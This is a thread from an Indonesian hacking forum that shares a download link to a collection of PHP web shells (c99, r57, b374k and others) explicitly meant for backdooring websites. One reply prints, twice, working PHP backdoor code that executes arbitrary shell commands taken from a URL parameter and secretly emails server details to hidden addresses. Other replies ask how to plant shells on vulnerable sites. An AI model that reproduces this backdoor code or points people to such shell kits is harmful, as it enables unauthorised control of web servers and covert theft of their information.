PHP Shell Collections - for backdooring website
Moderators: Paman, Xshadow, indounderground, NeOS-01
Forum rules
Membahas bugs,penetrasi, eksploitasi dan teknik mengamankan website - websrver. Sertakan POC disini agar member dapat mempelajarinya
Membahas bugs,penetrasi, eksploitasi dan teknik mengamankan website - websrver. Sertakan POC disini agar member dapat mempelajarinya
-
- Posts: 1
- Joined: Mon Aug 22, 2011 1:27 pm
PHP Shell Collections - for backdooring website
PHP Shell Collections - for backdooring website
Download url : http://www.jayakonstruksi.com/php_shell_collections.zip
A backdoor shell is a malicious piece of PHP code that can be uploaded to a site to gain access to files stored on that site. Once it is uploaded, the hacker can use it to edit, delete, or download any files on the site, or upload their own.
contents:
# ls
b374k.php
egy.php
mini279.php
SyRiAn-Shell-V3.php
c100.php
fx.php
Php_Backdoor.php
c99.php
itsecteam_shell.php
phpjackal1.3.php
devshell.php
locus.php
r57.php
Download url : http://www.jayakonstruksi.com/php_shell_collections.zip
Download url : http://www.jayakonstruksi.com/php_shell_collections.zip
A backdoor shell is a malicious piece of PHP code that can be uploaded to a site to gain access to files stored on that site. Once it is uploaded, the hacker can use it to edit, delete, or download any files on the site, or upload their own.
contents:
# ls
b374k.php
egy.php
mini279.php
SyRiAn-Shell-V3.php
c100.php
fx.php
Php_Backdoor.php
c99.php
itsecteam_shell.php
phpjackal1.3.php
devshell.php
locus.php
r57.php
Download url : http://www.jayakonstruksi.com/php_shell_collections.zip
Re: PHP Shell Collections - for backdooring website
error_reporting(0);
$sec=$_GET['sec'];
function sex($cmd)
{
if(function_exists('system'))
{
@system($cmd);
}
elseif(function_exists('exec'))
{
@exec($cmd,$results);
}
elseif(function_exists('passthru'))
{
@passthru($cmd);
}
elseif(function_exists('shell_exec'))
{
@shell_exec($cmd);
}
}
$file=".already";
$tmp_file="/tmp/.already";
if(!empty($sec))
{
$cmd=$sec;
print "<pre>";
sex($cmd);
print "</pre>";
}
if (!file_exists($file) && !file_exists($tmp_file))
{
$ip=$_SERVER['SERVER_ADDR'];
$data="opla bos sec=ls |";
$data.=$_SERVER['SERVER_NAME'];
$data.="|";
$data.=$_SERVER['SERVER_ADDR'];
$data.="|";
$data.=$_SERVER['SERVER_PORT'];
$data.="|";
$data.=$_SERVER['SCRIPT_FILENAME'];
$data.="|";
$data.=$_SERVER['SCRIPT_FILENAME'];
$data.="|";
$data.=$_SERVER['SERVER_SOFTWARE'];
$data.="|";
$data.=$_SERVER['REQUEST_URI'];
$file = @fopen(".already","w");
$file2 = @fopen("/tmp/.already","w");
$master = "[email protected]";
$master2 = "[email protected]";
$subjek = "opla bos $ip";
$from = "[email protected]";
$headers = "From:" . $from;
mail($master,$subjek,$data,$headers);
mail($master2,$subjek,$data,$headers);
}
OPO IKI MAS?
$sec=$_GET['sec'];
function sex($cmd)
{
if(function_exists('system'))
{
@system($cmd);
}
elseif(function_exists('exec'))
{
@exec($cmd,$results);
}
elseif(function_exists('passthru'))
{
@passthru($cmd);
}
elseif(function_exists('shell_exec'))
{
@shell_exec($cmd);
}
}
$file=".already";
$tmp_file="/tmp/.already";
if(!empty($sec))
{
$cmd=$sec;
print "<pre>";
sex($cmd);
print "</pre>";
}
if (!file_exists($file) && !file_exists($tmp_file))
{
$ip=$_SERVER['SERVER_ADDR'];
$data="opla bos sec=ls |";
$data.=$_SERVER['SERVER_NAME'];
$data.="|";
$data.=$_SERVER['SERVER_ADDR'];
$data.="|";
$data.=$_SERVER['SERVER_PORT'];
$data.="|";
$data.=$_SERVER['SCRIPT_FILENAME'];
$data.="|";
$data.=$_SERVER['SCRIPT_FILENAME'];
$data.="|";
$data.=$_SERVER['SERVER_SOFTWARE'];
$data.="|";
$data.=$_SERVER['REQUEST_URI'];
$file = @fopen(".already","w");
$file2 = @fopen("/tmp/.already","w");
$master = "[email protected]";
$master2 = "[email protected]";
$subjek = "opla bos $ip";
$from = "[email protected]";
$headers = "From:" . $from;
mail($master,$subjek,$data,$headers);
mail($master2,$subjek,$data,$headers);
}
OPO IKI MAS?
- Darkzzzz
- Posts: 2206
- Joined: Fri Jul 27, 2007 1:59 pm
- Location: UG-HotZone Depok 4, UG-HotZone Klp2 4 & UG-HotZone WaterFall.
- Contact:
Re: PHP Shell Collections - for backdooring website
Hati-hati, bisa saja saat kita melakukan aksi hacking, akan mengirim hasil aksi hacking kita ke si owner backdoor
I'm not A Hacker, But I'm A
Re: PHP Shell Collections - for backdooring website
jika kita mau tanem shell biasanya pake apa masta..
- steventeen
- Posts: 135
- Joined: Sun Jul 27, 2008 3:22 pm
- Location: Minahasa Selatan
- Contact:
Re: PHP Shell Collections - for backdooring website
sicomz wrote:jika kita mau tanem shell biasanya pake apa masta..
Biasanya seh pake otak.... tauk dah yg Laen
-
- Posts: 4
- Joined: Mon Nov 07, 2011 1:21 am
Re: PHP Shell Collections - for backdooring website
Gan, emang seperti apa ia penggunaan shell itu? Saya punya beberapa shell tapi g tau gimana cara makenya., mohon pencerahannya
salam newbie
salam newbie
Re: PHP Shell Collections - for backdooring website
bener tuh. musti pake otaksteventeen wrote:sicomz wrote:jika kita mau tanem shell biasanya pake apa masta..
Biasanya seh pake otak.... tauk dah yg Laen
klo asal comot tool gratis yg bertebaran, salah2 malah kena bumerang
-
- Posts: 1
- Joined: Sun Jan 15, 2012 11:01 pm
Re: PHP Shell Collections - for backdooring website
mas cara eksekusi r57 dr web xss vuln gmana yah
Re: PHP Shell Collections - for backdooring website
lumayan buat nambah koleksi shell...
shellhunter
shellhunter
Re: PHP Shell Collections - for backdooring website
mantap infonya..
kirain pake kompi.. buat nanem shellnya..
otak kayaknya nggak bisa tuh gan dipake buat nanam shell.
tuh otak bekas tabrakan kemarin nggak bisa ngapa-ngapain....
kirain pake kompi.. buat nanem shellnya..
otak kayaknya nggak bisa tuh gan dipake buat nanam shell.
tuh otak bekas tabrakan kemarin nggak bisa ngapa-ngapain....